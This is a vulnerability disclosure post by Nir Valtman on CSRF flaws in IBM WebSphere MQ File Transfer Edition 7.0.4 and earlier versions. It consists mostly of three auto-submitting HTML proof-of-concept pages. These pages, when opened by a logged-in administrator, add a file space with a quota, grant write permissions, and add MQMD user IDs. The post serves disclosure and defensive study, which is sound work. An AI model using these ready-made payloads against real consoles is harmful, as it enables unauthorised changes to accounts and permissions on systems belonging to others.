*Exploit Author:* Nir Valtman
*Description:* Malicious user is able to add userspace, change permissions
on existing userspace and add MQMD (MQ Message Descriptor) user IDs. All of
the these vulnerabilities can be exploited using a CSRF (Cross Site Request
Forgery) attack.
Few days ago the CVE has
been published here<http://www-01.ibm.com/support/docview.wss?uid=swg21607482>
***Affected Platforms: *Version 7.0.4 and all previous versions of WebSphere MQ
File Transfer Edition<http://publib.boulder.ibm.com/infocenter/wmqfte/v7r0/index.jsp>running
on all platforms are affected.*****Exploit Details:**1. CSRF To add user and define his quota on a userspace*
I created the following HTML page and then opened it by a logged-on user:
<html>
<head></head>
<body>
<form id="frm" method="post"
action="https://*[ip-address-and-port]* /wmqfteconsole/Filespaces"
<input type="hidden"
name="nirvcsrf" value="junk"/>
<input type="hidden"
name="name" value="zzzzzz"/>
<input type="hidden"
name="quota" value="15"/>
<input type="hidden"
name="id" value="NewFileSpace"/>
</form>
<script>
document.frm.submit();
</script>
</body>
</html>
See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 1]*2. CSRF to add permissions on file spaces:*
I created the following HTML page and then opened it by a logged-on user:
<html>
<head></head>
<body>
<form id="frm" method="post"
action="https://*[ip-address-and-port]*
/wmqfteconsole/FileSpacePermisssions"
<input type="hidden"
name="nirvcsrf" value="junk"/>
<input type="hidden"
name="user" value="bodek2"/>
<input type="hidden"
name="write" value="authorized"/>
<input type="hidden"
name="id" value="zzzzzz_TEMP_PERMISSIONS"/>
</form>
<script>
document.frm.submit();
</script>
</body>
</html>
See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 2]*2. CSRF to add MQMD user id:*
I created the following HTML page and then opened it by a logged-on user:
<html>
<head></head>
<body>
<form id="frm" method="post"
action="https://*[ip-address-and-port]*/wmqfteconsole/UploadUsers"
<input type="hidden"
name="nirvcsrf" value="junk"/>
<input type="hidden"
name="userID" value="csrfUserId"/>
<input type="hidden"
name="mqmdUserID" value="userIdTest"/>
<input type="hidden"
name="id" value="NewUploadUser"/>
</form>
<script>
document.frm.submit();
</script>
</body>
</html>
See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 3]
Best Regards,
Nir Valtman
